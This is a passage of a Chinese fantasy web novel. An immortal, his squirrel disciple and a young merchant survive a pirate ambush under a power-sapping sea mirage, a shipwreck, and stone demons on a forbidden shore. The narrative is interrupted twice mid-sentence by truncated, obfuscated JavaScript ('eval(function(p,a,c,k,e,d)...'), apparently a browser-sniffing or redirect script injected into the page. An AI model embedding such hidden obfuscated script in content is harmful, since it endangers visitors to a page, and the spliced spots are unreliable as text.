因为翘枝说是见到奇景,在外面叫嚷,一定要亦如空出来看看。 那的确是一番奇景,广袤空旷的海面上空,竟凭空出现了一片恢弘宫殿,宫殿倒悬于穹顶,犹如天宫倒压,其间楼宇林立,檐牙高啄,桂殿兰宫,飞阁流丹,实在是华美壮丽无双。 何云迢以及他雇来的船夫们,此刻也都来到船舷上仰望,各个啧啧称奇,赞叹不已。 亦如空望着那景象,道:“像是海市蜃楼,也不知倒映的是何处的宫殿景致。” 何云迢看了一阵,忽然道:“这似乎……是神冲国的王宫所在,我过往随父亲去中洲时,在宫墙外围见过那座高塔。” 他伸出手,指着宫殿一角的一处塔楼。 翘枝感叹道:“世上竟有如此庞大壮观的宫殿,那这王朝该是何等强盛富庶,我以往只隐约听说过,却从未见识过。” 何云迢如今已习惯了这会说话的松鼠,接话道:“五洲之间,神冲王朝最盛,天下间无出其右者,你们还没有去过中洲吧?我倒是去过几回,知道一些地方,等靠岸后,我带着你们四处瞧瞧,见识一番。” 这厢赏景闲谈,亦如空却忽然感觉到什么,他侧首去看,远处船舷上一人立刻移开目光,假意去看天空中的海市蜃楼。 那是个体格壮硕的汉子,皮肤黝黑,蓄着络腮胡,是何云迢雇来的船员之一,大船航行掌舵主要便由他来负责。 此刻奇景当空,他却不看风景,反而一直盯着亦如空瞧,而且那目光,似乎来者不善。 那汉子知道亦如空正看向他,若装作无知无觉,似乎也太过刻意,于是只能转过头,冲着亦如空状似憨厚地一笑。 亦如空不动声色,心中却有计较。 看来这趟看似风平浪静的旅程,终究无法安宁到底。 24.波折 寻常的海市蜃楼,或许片刻便消,但这天空中的异象,却是久久不散。 众人初时颇觉惊奇,但看得久了也是眼晕,于是便各回各处。 何云迢要走时,亦如空不动声色地拉住他。 这何云迢也不知怎的,平常还好,但被亦如空一碰,就会结巴不止,他此刻慌张道:“仙……仙师,有、有什么指示?” 亦如空道:“你到我那间舱中来,我有话对你说。” 何云迢结巴得更厉害了,断断续续道:“好、好……” 亦如空有些奇怪地看他一眼,没多说什么,只转身朝着船舱中走去,示意对方跟上。 “将你的银钱和贵重之物都收好,今夜搬到我这里来。”亦如空道。 何云迢和翘枝异口同声道:“为什么?” 亦如空只简明扼要道:“你雇来的人不可靠,他们大概率会对你不利,或许,今夜便会动手。” 何云迢闻言一惊,分毫不敢怠慢忽视,连忙依照亦如空所言去做。 到了夜里,天顶的海市蜃楼依然未散,甚至还放大了不少,牢牢压在大船上方的夜空中,而且竟如真正的宫阁一样,亮起灯火来。 灯火通明的恢宏宫殿倒压在头顶,壮观之余,也让人有些喘不过气来。 亦如空仍是打坐调息,何云迢时而盯着亦如空出神,时而跟翘枝大眼瞪小眼,就这般过了数个时辰。 夜深时,何云迢已支着脑袋打起瞌睡。 忽地,亦如空睁开眼,道:“船慢下来了。” 何云迢闻言惊醒,忙出去查看,看见大船的船帆竟全部降了下来,只剩漆黑的桅杆,光秃秃立在风中。 没了顺风之力,船只能海面上随波摇晃,停滞不前。 何云迢左右张望,未看见船上其他人,犹豫着咽了咽口水,站在舱门口喊道:“庞进?鲁三?出了什么事,船帆怎的降了?” 无人回应,寂夜里,只有海浪声声。 何云迢实在害怕,但想着也不能让船就这般随波打转,于是便想走出去,找一找其他人,再不济,也要将船帆想法子升起来。 才迈出一步,忽听见亦如空在后头喊道:“小心。” 何云迢一惊,忙转身想往亦如空的船舱中跑去,然而已经晚了,一张大网从头顶兜头罩下,将何云迢网了个结结实实,紧跟着,又有一条粗壮的绳索缠上来,三两下,便将他连人带网一起紧紧捆住。 何云迢就这般被人捆得像条死鱼一般,被那个黑面络腮胡的汉子,还有另一个瘦长脸山羊胡的男人,一起提着,扔在了船舱正中。 接着,络腮胡身手敏捷地甩出一根套索,只一下,便将想要逃到亦如空身后的翘枝套住。 他的动作快准狠,用力一收,顷刻便将松鼠提到眼前。 翘枝张嘴亮爪想要抓咬,山羊胡已经拿起笼子,将松鼠扣在其中,紧跟着从怀里摸出张镇妖符,贴在笼子上。 这下翘枝立刻四肢瘫软,连撕咬冲撞的力气都没有了。 络腮胡啧了一声,道:“多余浪费这符纸,先不说这小妖能有几分灵力,就算是有,在这里也使不出一分一毫啊。” 山羊胡一边关好笼子,一边拍了下脑门,道:“我给忘了,没关系,撕下来还能用。” 何云迢浑身被绑得结结实实,软在地上动弹不得,他努力踢蹬几下,完全挣脱不开,于是向着亦如空求救道:“仙师救我!” 他一边喊,一边努力抬头去看,却发现亦如空竟还是盘坐在原地一动不动,额上沁出微汗,面色似乎不对。 原来,亦如空在何云迢被捆住之前,便想出手相助,谁知灵力还未迸出指尖,便突然全身一滞,紧跟着便动弹不得。 其实从入夜开始,亦如空便感觉有些不对,他的感知无缘无故下降了许多,先前他还能注意到船上其他人在何处,听到他们一些动静,然而入夜之后,便什么也感觉不到了。 身体里的灵力完全游走不动,他原以为是自己运息中遇到了滞涩,只需要时间打通,此刻一出手,才知道事情蹊跷。 现下他只觉浑身沉重,白日里还运转自如的灵力,此刻全压在气海中,分毫都散发不出来,周身如同被无形的力量禁锢压制着,越是试图移动,压迫感便愈强。 络腮胡汉子看着亦如空,狞笑道:“仙人竟不知道么,有这海市幻景压顶,任凭你再高的灵力,也是分毫使不出来,而且更要命的是,一使灵力,便会周身经脉凝滞,动弹不得,继续运转灵力,恐会经脉寸断,暴毙而亡,这个,我们可是在很多修士身上验证过。” 何云迢闻言,惊诧道:“庞进鲁三,你们,你们俩不是普通的船工,你们究竟是什么人?要干什么,其他人呢?” 络腮胡汉子庞进掏了掏耳朵,笑道:“咋咋呼呼,吵死了,你说我们要干什么,当然是杀人越货了,至于其他人嘛,自然已经被扔进海里喂鱼了。” 山羊胡子鲁三道:“我们早知此处有这蜃景压顶,特意将大船引到此地,以前我们就在这里截杀会法术的修士,有这海市蜃楼助阵,任凭你法术高强,也是手到擒来。” 何云迢惊恐道:“我给你等的银钱不少,你们怎么……” 庞进打断何云迢:“给那几个钱算什么,你何公子全副的身家都在这里,只要将你几个打包丢进海里去,这些家当,这艘大船,就全是我们的了。” 何云迢又惊又怒,但此刻落于人手,他再恨也无办法,只得妥协告饶道:“你饶了我们性命,我随身所有的银钱,还有这船,全部都给你。” 庞进不屑道:“空口承诺有什么用,等到了地方一靠岸……不,恐怕还没等到靠岸,只是离开这片蜃景,你这位仙师就会恢复灵力,到时候,还有我们兄弟两个好果子吃?” 说着,庞进将注意力转移到了亦如空身上。 那盘腿端坐在榻上的仙人,实在是这船舱里最醒目耀眼的存在,庞进迈步上前,跨过地上的何云迢,走到亦如空跟前,细细打量。 鲁三跟在他身后,已忍不住赞叹起来:“好一位仙人,真是气度非凡,恐怕灵力深厚得很,要不是这蜃景,我们还当真压制不住。” 庞进得意一笑,突然凑近,把脸凑到亦如空颈项上,深深嗅闻:“嘶——真香啊,不愧是修行得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他语气冷硬果决,如同地府判词,庞进鲁三闻言一惊,但转念一想,又觉得对方只是在危言耸听。 庞进道:“仙师说话真是唬人,您眼下这副样子,要如何杀得了我们呢?等我的鲁三兄弟快活完,将你扔进海水之中,大船扬帆而去,你还能奈我何?” 鲁三也不再管,这便去撸亦如空腕上的手镯。 谁知,他的手刚一碰上那东西,便惨叫一声,捧着手掌摔倒在地,痛叫翻滚起来。 庞进大惊,忙上前查看,发现鲁三的手竟如同被烙铁烫过一般,皮开肉绽,惨烈无比。 “我已经提醒过你们了。”亦如空冷声道。 庞进瞪大双眼:“这……你这是什么妖术?!” 亦如空却不再理会他,而是闭上了双眼。 凭借这些日子运转灵力,他已略微掌握元神出窍之法,虽还不成熟,恐怕十分伤身,但此刻也不得不用上。 亦如空忍耐着经脉中爆裂般的剧烈疼痛,让元神脱离身体。 25.一波又起 亦如空并未学过元神离体之法,准确来说,他从不用去刻意知晓什么修仙法门、功法符咒,也无需像寻常人那样拜师学艺,淬体练气。 对于大多数术法,他只要经历过感受过,便有可能复制一二。 先前采乌在他额头用画骨神笔画咒,让他元神离体入画,那一刻的感知他仍记得,加之,那个图案…… 亦如空闭着眼,在脑海中用意念复刻,几次尝试后,终于奏效。 蜃景压制着体内灵力,却似乎不能压制忘尘椎这等灵宝的灵能。 元神甫一离体,他先是尝试灌注到腕上的忘尘椎中,但未能成功,看来,只能一路飞至蜃景幻阵之外,方有机会。 海风腥咸,夜色中竟下起雨来。 雨帘穿过天空中的宫殿幻景,再同样穿过亦如空的元神灵体,落入海浪之中,消弭无形。 雨幕中,天上的宫殿像是压顶的乌云,压迫力十足,可偏偏乌云里又是灯火如昼,宛若天宫。 辉煌奇景倒映海面,将大船夹在其中,仿佛顷刻间便要将其碾碎。 亦如空的元神一路飞至幻景边缘,悬空打量,这绝不是普通的海市蜃楼,更像是某种阵法。 可普天之下,人人道行受限,有谁人能开启此等壮阔的惊天阵法? 眼下顾不得想太多,首先要破出眼前的困境。 亦如空没想到,只是两个海上盗贼,竟将他逼至此境地。 他识海中杀意沸腾,元神在蜃景边缘游走半周,寻找法门。 元神不是实体,无法触物,想要伸起船帆推动大船远离海市蜃楼,恐怕枉然。 除非,他能以意念掀起惊雷巨浪。 元神亦如空抬头看,雨点滴在他的眼中,穿透他的眉心,他突然福至心灵,抬起一只手,看着自己半透明泛着微光的手掌。 在答叵那幅仙人图前,他曾划破手掌贴上那画中虚假的“应空兽”,此刻那个伤口已经愈合,但那个拟形咒印,他用掌心感知过,还留有微茫的记忆。 人的识海广袤无垠,常人不刻意去铭记的东西,往往如水滴入海,再难寻回。 但亦如空不一样。 他在识海上空飞行,准确地抓起了他需要的那一滴——那个可以幻化成应空兽模样的拟形咒印。 也是因为此刻被迫开始探查脑中识海,他才发现,他的这片识海,竟有一大半都隐没在黑暗中,其上空黑光禁锢,不得而入,将这片广阔的金色大海分割成一片片湖泊。 亦如空的元神眯了眯眼,心知那黑光之下,恐怕就是他丢失的那部分记忆。 但眼下不是纠结于此的时候,他拾起那一滴的拟形咒印,退出识海,擦着蜃景的边缘,元神一头扎进眼前这片细雨蒙蒙中的真实的大海。 鲁三手掌被灼伤,痛苦不堪。 庞进则皱眉盯着眼前那个闭目凝神的仙师,一时不敢动作。 他突然觉得对方刚才的威胁,似乎不是开玩笑。 “该死的……什么妖术……害惨了我……”鲁三痛呼着,好不容易从地上爬起来,愤恨地看向亦如空,怒道,“大哥,将他杀了!为我这只手报仇!” 庞进不是没想过动手,他的手中已紧握着一柄钢刀,但是一时不敢妄动。 何云迢看着那强盗手中的刀刃,屏住了呼吸。 “大哥!你还在犹豫什么?”鲁三催促道。 庞进一咬牙,将心一横,抡起了钢刀,朝着亦如空颈侧劈去。 “师父!”翘枝失声大喊。 “仙师……”何云迢浑身发抖,忙将两眼紧闭,不敢再看。 刀刃距离亦如空的脖颈只剩半寸,甚至已经削下了他一缕头发,眼见就要没入他脖子,砍下他的头颅。 然而就在这一瞬间,大船猛烈一晃,庞进登时被甩得站立不稳,脚下虚浮,连忙将刀尖插在脚下木板船面上,稳住身形。 “怎么回事?”庞进又惊又疑,“刚才还风平浪静,怎会突然掀起大浪?” 鲁三被甩得摔了一跤,龇牙咧嘴爬起来,骂骂咧咧道:“娘的,老子今日真是点背……” 正骂着,他突然看向船舱窗外,大惊道:“那、那是什么?!” 庞进连忙看去,只见蜃景边缘,一只身形巨大的异兽,正跃出海面,又一头扎进海水中,掀起一阵巨浪,它速度奇快,入水之后又飞速跃出,如此重复,不断引发海面浪涌。 浪头接连袭来,大船随波摇晃不停,何云迢滚到角落,用脚勾住固定的在船面上的案桌,勉强稳住,见关着松鼠的笼子满地乱滚,忙瞅准时机,等笼子滚到身前时,翻动身体压住。 庞进鲁三早顾不得在意他们,剧烈摇晃的船舱内,他们要维持站立都难。 但亦如空竟仍是稳于榻上,庞进看着那稳如磐石的玉像仙人,道:“定是他搞的鬼,这人着实不简单,我们低估了。” 船身摇晃更猛,雨水和海浪已漫进船舱不少。 鲁三急道:“大哥,这样下去船就要翻了!要不赶紧升帆,凭借我们兄弟两个控船操舵的本事,顶着浪也能把船弄出去。” “但那个东西……”庞进望向蜃景边缘的海面,努力眯着眼试图看清。 他忽然发现,那逐水引浪的异兽,颜色竟变淡了不少,快要接近透明,掀起的浪头也渐渐小了许多。 庞进有些想明白了,道:“那东西似乎是幻化出来的,看样子,似乎支撑不了多久就会消失。” “大哥,那怎么办?” “虚张声势。”庞进恶狠狠看向亦如空,“先将他们宰了,丢进海里,再升帆,离开此地。” 亦如空的元神仍悬在空中,他冷眼看着势头渐弱的巨浪,心中知道这个法子只能一时应急,他真正要做的,是破开蜃景的压制,找回些许灵力,让身体恢复行动,然后,杀了那两个恶徒。 他方才在紧急之中思索破解之法,已然想到关键,灵力彻底被封死,是入夜后才开始的,而入夜后多了什么? 是那些灯火。 他视线扫过宫阙间或连片或零散的光点,它们的排布并非全无规律,若是连接起来,更似乎像是某种阵法图形。 亦如空驱使方才被他打上咒印的海鱼,引它们纷纷跃出水面,飞上半空。 现下,它们都顶着应空的幻象躯壳,身体放大了无数倍,这些幻影飞上头顶,用躯体遮挡宫殿中投下的灯光。 接着,元神归位。 庞进第二次想对亦如空出手,却看见那双紧闭的眼睛突然睁开,墨色瞳孔之中阴云密布,叫人心头一惊。 庞进倒吸一口气,连忙挥刀去砍,那人还是盘坐着,却忽然伸出二指,指尖带着灵力,只一弹,便崩开了挥砍到面前的刀刃。 庞进大惊:“怎么会?!这……这不可能……这蜃景之下,你如何恢复的灵力?” 亦如空并不理会他,只略一垂眸,道:“去吧。” 有了灵力驱使,忘尘椎立刻应声飞出,先击碎庞进的两个脚踝,接着,又追上想要逃跑的鲁三,眨眼在他两腿间几个来回穿织,竟将他的腿从膝盖以下,生生截断。 鲁三惨叫着扑倒在地,亦如空看向 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那种眼神让亦如空忍不住微微皱眉,正要说话,忽觉胸口猛然一痛,唇边溢出丝血色。 他立刻抬手,将那血色拭去。 看来这一遭强行突破,对身体终究损伤颇大。 何云迢见了亦如空当场杀人的画面,竟不由自主地害怕,但一看他受伤吐血,又心中一紧,不禁难受道:“仙师又救了我一命……都怪我识人不清,引狼入室,害了你。” 亦如空压下喉中腥甜,道:“莫说这些无用之话,要赶紧升帆,离开此地。” 他感觉先前那种灵力受限的沉重感又在渐渐袭来,想必是那些潦草打出的咒印已纷纷失效,头顶蜃景中的灯火已再次显现。 何云迢闻言,连忙应道:“好,我这就去,你先好生休息,这里我来收拾。” 他想去搀扶亦如空坐下,又有些不敢触碰,亦如空看他一眼,自己回到榻上,盘坐调息。 何云迢收回手,赶忙去升帆掌舵。 大船总算重新起航,何云迢虽没有单独掌过舵,但毕竟从小到大见识过无数次,多少也学过一些,知道该如何做。 现下他已经升起船帆,让船被南风推着,渐渐离开那片蜃景之下的猎杀之地。 接下来的日子,相安无事,大船向着中洲一路进发,直到二十多天后,即将靠岸时,才再次出了问题。 何云迢站在船头,拿着地图反反复复地看,额头冷汗直冒:“完了完了,这下完了,怎么会这样……” 翘枝在他身侧,凑上来问道:“怎么了?前面有什么不对吗?” 何云迢道:“我们偏航了!前方并不是濮支国的海港。” 翘枝想了想,道:“那也没关系,师父说了,只要登上中洲就行,能赶紧靠岸就是好事,我实在不想再坐船了。” 何云迢忧虑道:“可是,我们的靠岸之地……” “如何?”是亦如空的声音。 见亦如空过来询问,何云迢连忙转向他,道:“恐怕不妙,我们即将靠岸的地方不是先前预想的终点,前方没有深港停靠,也没有驳船牵引,且礁石暗流遍布,再加上这大雾……” 他顿了顿,苦着脸道:“我的船,恐怕保不住了。” 亦如空道:“现在转向,还来得及吗?” 何云迢摇头:“来不及了。” 像是在验证他的话,船底突然穿来一声巨响,整艘大船猛烈一晃。 船底,触礁了。 26.无名之地 “每次坐船都没好事,就没有哪回能够好生上岸的。”翘枝抖擞着毛发甩水,怒道,“这辈子再坐一次船,小爷就不是松鼠,是偷油耗子!” 亦如空提着呛水的何云迢,带着他越过礁石浮木,迈上海岸。 何云迢落水时,还抱着他的羊皮地图不停地看,仿佛这样就能在上头找到一条生路,眼下他还在一边吐水一边喊:“仙师,地图……” 亦如空将何云迢扔在地上,道:“地图还有另一张,你的命可只有一条。” 何云迢狼狈地拨开自己满脸的湿发,揉着眼睛看着亦如空,对方眼下同样衣发尽湿,看起来竟还是风度翩翩,真不公平。 “这地图十金一张呢……”何云迢嘟囔着,又呕出一口苦咸的海水。 亦如空耐心等他吐完,才道:“快起来,看看此地是何处。” 这地方黑岩密布,气雾丛生,一眼望不出五步开外,空气中弥漫一股腐臭之气,想来是片恶地,也不知是那地图上的哪一处。 何云迢爬起来,拍拍胸口顺气,一看这周遭环境,刚喘匀的气险些又背过去。 “这、这地方难道是……”何云迢慌了神,手忙脚乱地抖开刚刚抢救回来的羊皮地图。 亦如空道:“是何处?” 何云迢指给亦如空看,他所指之处,是一片涂黑的空白之地,没有任何地名标注。 何云迢咽了咽口水,道:“这里,是片无名的禁忌之地,据传,从来没有人从此地活着走出去过,描画此地图的人自然也不知道其中情况,是以无法标注,所有人都默认,绝不会踏足这里。” 亦如空道:“无人敢来,又怎知走不出去?” 何云迢道:“很久以前,还是有人主动前来探索的,都是些修士,因为在更早的时候,有传言说这里遍布奇兽灵草,对修行大有裨益,便有不少人想着来此收集,结果,无一存活离去,这地方也就成了默认的禁地。” 翘枝奇怪道:“你是个凡人,也不是修行之人,怎么对这些知道得这么清楚?” 何云迢道:“我家商船广游四海,家父遍行各地,收藏颇多,各洲的传说、异志,我儿时便拿来作读物,时常翻阅。” 亦如空道:“这片礁石滩处于此区域的哪个位置?走哪个方向,能最快速穿过此地?” “海路必然无望了,”何云迢左看右看,努力辨认,最后指了个方向,“目测……那个方位,朝着这边走,也许走个三五天,能穿过去,到达濮支国西南部,前提是……一路上不要遇到什么危险……” 翘枝道:“怕什么,我师父的本事,你先前在海上时也见识过了,有他在,能有什么危险。” 何云迢略有放心:“这倒是,仙师法力高强……” 亦如空打断他:“之前元神灵识受损,我恐怕至少三个月之内都不能使用灵力了。” “啊?” 这下翘枝跟何云迢都惊慌起来。 亦如空说完这个噩耗,倒是依旧神色如常,道:“走吧,就按你说的方向。” 他身上有着常人难有的沉稳和自信,似乎天崩地陷于前,只要他想,就能觅得一线生机。 何云迢看着亦如空,心中突然有了些底,深吸一口气,道:“好,那我们便一起寻个出路!” 他这厢热血翻涌斗志昂扬,亦如空却没什么反应,已经擦着他的肩膀迈了过去。 何云迢只得讪讪跟上。 顶着雾气走出几里路,忽觉腥臭扑鼻,脚下绵软深陷,竟是踏进了一片滩涂沼泽。 何云迢道:“看起来前方没有路了,要不,从旁边绕道吧?” 亦如空道:“两侧山谷相夹,绕道还要往后折返,恐怕要多耗费不少时间,还是尽早走出去为好,这地方,确实不对劲。” “可是这泥潭沼泽……”何云迢犹豫。 亦如空道:“四处都是石地岩山,这泥地不会太深。” 他让何云迢去旁边寻了两根长棍,往那软泥里一探,果然不深,最深处只及小腿,再往下就是坚硬的石地。 亦如空将棍往稍远处一掷,也是一样,棍子并未没入立住,而是倒入泥淖之中。 “奇怪,四周连泥土都没多少,这里又怎么会有这样一片淤泥呢……”翘枝琢磨着,定睛一看,忽然惊骇道,“师父,这好像不是一般的淤泥,这……” 亦如空道:“嗯,全是腐化的尸液。” 何云迢用棍探入,接着往上一挑,果然看见棍子那头黏腻湿滑,还缠绕着些许动物毛发,一时间胸中翻涌,几欲作呕。 “怎么会有这么多动物腐烂液化在此?”何云迢又是恶心又是害怕。 亦如空看着前方青雾,道:“很简单,附近有妖怪。” 何云迢闻言一慌:“什么?哪、哪种妖怪?是翘枝这样的,还是先前那蛇妖一般的?” 翘枝道:“你仔细看看小爷我,聪明可爱,人畜无害,还只吃素,我这样的好妖,可造不出这种场面。” 亦如空接道:“你到了此地,恐怕只能做这滩泥的其中一部分。” 翘枝不爽:“师父!” 亦如空道:“我没有别的意思,只是想说,你还得尽快提升修为才好。” 说着,他已经抬脚迈进了那黏腻恶臭的尸液沼泽中。 何云迢也想跟上,但低头一看,那其中红黄黏稠,气泡翻涌,实在下不了脚。 翘枝坐在亦如空肩上,倒是稳当,回头招呼何云迢道:“何少爷,还不赶紧跟上,到时候我师父走远了,留你一个人在这里,你不害怕吗?” 亦如空继续往前,脚步都未曾慢过。 何云迢见他身影已经要被青雾隐去,再也不敢犹豫,一咬牙一闭眼,迈了进去。 艰难跋涉过这段令人反胃的滩涂,后头的路总算好走了一些。 何云迢在滩涂里踩到石头,摔了一跤,浑身脏污,样子已是狼狈不堪,又走出很远,天色已暗,何云迢眼见前方峡谷幽深,黑岩料峭,崎岖路难,心中正沮丧,一转眼,忽然发现峡谷下方竟有一片林地,林地旁还有湖泊溪流。 “这里有淡水,要不我们下去洗洗?这东西实在太臭,天也快黑了,休息过后再出发如何?”何云迢建议道。 亦如空看看下方的湖泊,想了想,最后点了点头,同意了何云迢的建议。 好在船毁之时,何云迢还保住了一个贴身包袱,里面除了一点不多的金银,还有救命的火折子。 清洗过后,何云迢生了柴火,烘烤起鞋袜,一边絮叨道:“穿着湿透的鞋袜走路,真是难受,我们还走了这么远……不过好在没碰上什么危险之物,这地方,倒是比我原先想象的安全一些。” 亦如空默默听着,没告诉他,或许入夜后,才是邪物行动之时。 他思忖片刻,撕下衣摆,分成布条,捡了根烧黑的炭棍,在上面写写画画起来。 何云迢问:“你在画什么?” 翘枝在一旁看,正觉得那符文有些熟悉,就听见亦如空道:“这是镇妖符,我按照之前看到的那些,凭记忆画的,不知好不好用。” 他画完一张,拿起来,看向翘枝。 翘枝往后一跳:“师父,你想干嘛?” 亦如空一脸自然道:“过来,帮我试试这符的效果。” 翘枝本不情愿,推脱道:“师父……怎么能这样,被贴镇妖符很难受的……” 亦如空淡淡道:“先前的尸液沼泽你也看见了,此地必有妖邪,今夜要在此休息,我又不能使用灵力,若半夜里妖物来了怎么办?” 翘枝这才不情不愿地挪过去:“师父,温柔一……” 松鼠话还没说完,亦如空半点不犹豫,二指一并,出手如风,将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他心中害怕,却也不好意思贴在亦如空身上,只悄悄压住对方一截衣角,心道若是夜里有危险,仙师有所行动,这样我就能立刻察觉到。 实在困累,不消片刻,何云迢已开始眼皮打架,入了梦乡。 亦如空虽闭着眼睛,意识却清醒,正静听着四周的动静。 这地方,没有一丝活物的声音,甚至连风声都没有。 真是一片彻底的死地吗? 又过了半个时辰,周遭终于有了响动,一阵阵喀拉喀拉,石块滚动的声音。 亦如空默默睁开眼睛,看见地上密密麻麻一片,全是大小不一的石头块,正一起朝他们滚来。 这些石头块似乎不怕镇妖符,直直从上头滚过,并不受影响。 难不成,这种符箓只对有血有肉的动物妖怪好用,对石头这种无血无肉的,就没了效力。 亦如空想着,轻微一动,那些石头察觉他有动静,便立刻停止动作,装回普通石头。 于是亦如空保持静止,不动声色,等着看它们如何行动。 那些石头蹦蹦跳跳凑拢,似乎在打商量,它们推选出几块个头大的,在何云迢脑袋旁边垒成一摞,再一块块往下跳,纷纷砸在沉睡中的何云迢脑门上。 其实第一块石头落下的时候,何云迢就被砸晕了,但它们还是坚持不懈,反复垒起,一共砸了十来回,方才收手。 接着,大大小小的石子石块挤到何云迢身下,然后一起滚动,托着晕得四仰八叉的何云迢,将他运走。 翘枝也被吵醒了,屏着呼吸看这怪事,眼见何云迢都要没了踪影,才小心翼翼道:“师父,那个陶朱公何少爷,好像被石头抓走了……” 27.故人石老儿 亦如空镇定道:“我看见了。” 翘枝疑惑:“啊,师父你……不打算救他吗?” 亦如空道:“再等等。” 翘枝道:“可是再等下去,他不会被妖怪吃掉吧?我们白天遇到的尸液沼泽……” 亦如空似乎并不担心,又过了片刻,才起身道:“我倒是很好奇,石头要怎么吃人,走,跟去看看。” 翘枝看他老神在在,不见着急的样子,不由得为那何少爷捏了一把汗。 亦如空不慌不忙,将那些散落的镇妖符捡拾起来,这才向着石块滚走的方向追去。 四下如此静谧,石头滚动的声音十分明显,它们的行动称不上快,亦如空慢悠悠跟上去,倒是正正好好。 这堆石头行动笨拙,亦如空离得稍远一些跟踪在后,它们也似察觉不到,委实看不出有什么灵力,就这些石头,并不像是能造出那片尸液滩涂的样子。 或许它们之外,另有其他妖物。 亦如空总觉得,此地真正危险的,并非这些石头,至于究竟是什么……他看一眼那些无处不在的青雾,心中暂时没有答案。 纷乱的石头们如同蚂蚁抬食,将何云迢一路抬进了岩山上的一处洞窟内。 洞窟外并无看守,亦如空打量一眼,跟了进去。 洞内宽阔平坦,一路往里,竟愈发开阔,走到最后,竟然是一个宽阔的大殿。 亦如空躲在一根石柱后,向内看去。 这大殿石室像是挖空了整个山体而成,空间庞大,却不精细,墙壁坑洼粗糙,石壁顶上斗大的悬石将落未落,仅用胡乱立着的粗壮石柱支撑。 此处明明在山体内部,石殿内也未掌灯,却并非漆黑一片,顶上竟似有光芒洒落。 亦如空抬头细看,才发现那穹顶上竟是一大片大大小小的夜明珠。 对比这洞府甚是潦草的墙壁和地面,这穹顶实在是过分富丽堂皇了些。 何云迢被石头们运到大殿正中,朝着大殿正首的石座。 殿内到处都是能动的石头,大的小的,聚成一团的,四处喀拉作响,这些石头要说是妖,看上去却也无甚战力,更像是一种说不清道不明的奇怪存在。 有的只有一只眼睛,有的则勉强凝成人形,有了歪歪扭扭的五官。 它们也能凝出妖丹产生灵力,那倒也是神奇。 正观察间,忽闻一阵笑声传入耳中。 那声音苍老又尖细,亦如空掩饰身形看去,是个老头,一个从石头里走出来的老头。 石妖们见老头出现,有眼睛的眨起了眼睛,有嘴的喊起了大王。 老头身形矮小,穿着件破烂旧衣裳,脚上连鞋也没有,说是妖王,倒更像是个老叫花子。 他模样看似苍老,动作却灵活得像个猴子,竟能在石壁中自由穿行,现下他光着脚,在大殿石壁内外跑了几个来回,似乎十分兴奋。 老头跑完一圈,回到他的石座上,站在椅子上,看着那些眨巴着独眼的石头块,还有它们绑架来的人,开心道:“我的一眼石将们,灵力最低,却最是勤奋,今天又立了大功!我们多久没有见过活人了?这次收获难得,值得庆祝三天!” 说完,他又把脸一黑,转向另一边,对着一堆个头稍大,长着两只眼睛的石头骂道:“废物,废物!一眼都知道出门打猎,你们在干什么,两眼干瞪着,天天一动不动,好吃懒做,跟石头一样!废物!” 翘枝已经看傻了,悄声道:“他在骂石头像石头……” 亦如空听得有些好笑,看了一阵,在场都是些灵力低微的石头块,加上一个看不出能有多大本事的瘦小老头,似乎威胁不大,它们若要伤害何云迢,自己过去抢人,倒也还有胜算。 他估计着自己跟何云迢之间的距离,正想着如何行动,外面突然传来一阵叫骂声,仔细一听,是有人在喊道:“石老儿,赶紧把猎物还来!” 一个由碎石松松散散组成的石头精连滚带爬过来,报告道:“大王,外面来了两个妖怪砸场子!” 那石头精由乱石拼成,长得委实潦草,眼睛前一只后一只,嘴也歪到了头顶上。 它这一拜也没有对准石座上的石老儿,想是眼神不好,拜错了方向。 石老儿也顾不上在意,连忙叫那些一眼石头将何云迢运到大殿后方去,藏匿起来。 不消片刻,叫骂声已来到近前,竟是两个花脸长毛怪飞身而入。 两个妖怪身体虽是人形,脸却是稀奇古怪,一个红毛冲天,一个绿眼幽幽,此刻两只妖怪龇着獠牙气势汹汹,叠声叫嚷着,让石老儿交出猎物。 石老儿毫无形象地跳脚道:“老子何曾抢你们的猎物!” 红毛妖怪道:“别装傻,今日这地方来了活人,我们哥俩百八十年没吃过这口了,老远就闻到肉香,你个石妖不吃也能活,我们却是无肉不欢,最喜人肉,若是吃不到,我们哥俩可是要发脾气的。” 另一个绿眼妖怪道:“快点,不然踏平你这洞府!” 石老儿哼道:“算你们鼻子灵,对,我这确实有一个活人,但是猎物谁先打到就是谁的,这是规矩,凭什么给你们?” 红毛妖怪大怒:“石老儿,你不要敬酒不吃吃罚酒。” 石老儿道:“我就不给,你能怎样?” 绿眼妖怪道:“不给?那我们就抢!” 话音未落,那两只妖怪已经挥舞起爪子,一起扑向石老儿。 满地石头乱窜,石老儿闪身躲开攻击,还不忘抽空骂自己的石头下属:“狗东西们,你们跑什么,你们只是石头,还能打死你们不成?上,都上,给我砸死这两个丑妖怪!” 石头们听他号召,抱团凝聚,朝那两个妖怪袭去,红毛妖怪长拳一扫,将那堆石头打散,笑道:“就这些破玩意,不堪一击。” “别以为我会怕你们,”石老儿喊道,“真动起手来,你们只有跪地求饶的份!” 红毛妖怪咧嘴狞笑,露出一口黄牙:“嘿嘿,老子倒要看看你这几十年不见荤腥的老骨头能有多大本事。” 说着,他猛地一跃而起,双爪直取石老儿胸口。 与此同时,绿眼妖怪也从侧面猛扑过来,石老儿挥掌格挡,几股力量相击,整个洞府瞬间被充斥得动荡不安。 见两只妖怪一直想趁隙越过自己往后殿去,石老儿眼中闪过一丝狠厉之色,双手化作石掌,疾风骤雨般击出,劲力撕裂空气,将两个妖怪逼退几步。 “哟,动真格了。” 两只妖怪稳住身形,互相交换个眼神,手上虚空握出兵刃,再次围攻上去。 这厢两伙妖怪打架,乱成一团,倒给了亦如空趁乱救走何云迢的机会。 亦如空绕着石柱,潜到大殿后方通道中,只见那可怜的何少爷起了满头的包,仍是昏迷不醒。 